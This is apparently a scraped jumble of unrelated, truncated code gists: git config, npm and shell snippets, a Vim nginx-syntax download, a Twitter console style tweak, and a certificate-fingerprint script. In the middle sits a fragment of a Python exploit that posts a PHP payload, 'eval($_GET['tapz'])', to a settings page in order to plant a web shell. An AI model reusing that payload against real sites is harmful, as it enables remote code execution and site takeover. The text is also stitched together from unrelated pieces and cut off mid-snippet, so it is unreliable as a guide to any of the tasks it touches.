cd /path/to/project
npm install handlebars
Copy html-reporter.js
and html-reporter.hbs
to your project basedir.
[color] | |
ui = true | |
[core] | |
editor = vim | |
excludesfile = ~/.gitignore_global | |
[alias] | |
cm = commit -m | |
co = checkout | |
st = status | |
lg = log --color --graph --pretty=format:'%Cred%h%Creset -%C(yellow)%d%Creset %s %Cgreen(%cr) %C(bold blue)<%an>%Creset' --abbrev-commit |
'use strict' | |
var jsonfile = require('jsonfile') | |
var replace = require('replace-in-file') | |
var fs = require('fs') | |
fs.readdir('dist', function(err, files) { | |
var htmlFiles = [] | |
files.forEach(function(x) { | |
if (/\.html$/.test(x)) { htmlFiles.push('dist/' + x) } | |
}) |
# Version key/value should be on his own line | |
PACKAGE_VERSION=$(cat package.json \ | |
| grep version \ | |
| head -1 \ | |
| awk -F: '{ print $2 }' \ | |
| sed 's/[",]//g') | |
echo $PACKAGE_VERSION |
#!/bin/bash | |
# | |
# Highligh Nginx config file in Vim | |
# Download syntax highlight | |
mkdir -p ~/.vim/syntax/ | |
wget http://www.vim.org/scripts/download_script.php?src_id=19394 -O ~/.vim/syntax/nginx.vim | |
# Set location of Nginx config file | |
cat > ~/.vim/filetype.vim <<EOF |
import requests | |
# Add URL | |
# Set a PHP payload | |
# Go to http://website/config.php | |
URL = 'http://localhost/Panel/applysettings.php' | |
PAYLOAD = "(isset($_GET['tapz'])) ? eval($_GET['tapz']) : '" | |
data = { |
These are the Kickstarter Engineering and Data role definitions for both teams.
/* | |
* Get the good old favorite ★ back. | |
* | |
* Copy the few lines below into the console of your browser and press enter. | |
* Chrome: https://developer.chrome.com/devtools#access | |
* Firefox: https://developer.mozilla.org/en-US/docs/Tools/Web_Console/Opening_the_Web_Console | |
*/ | |
// updated version (this also works for new pulled tweets): | |
var style = document.createElement('style'); |
sudo sh -c "echo 'addn-hosts=/etc/hosts' > /etc/NetworkManager/dnsmasq.d/etc-hosts" |
from OpenSSL.crypto import load_certificate, FILETYPE_PEM | |
cert_file_string = open("esx.crt", "rb").read() | |
cert = load_certificate(FILETYPE_PEM, cert_file_string) | |
sha1_fingerprint = cert.digest("sha1") | |
print sha1_fingerprint |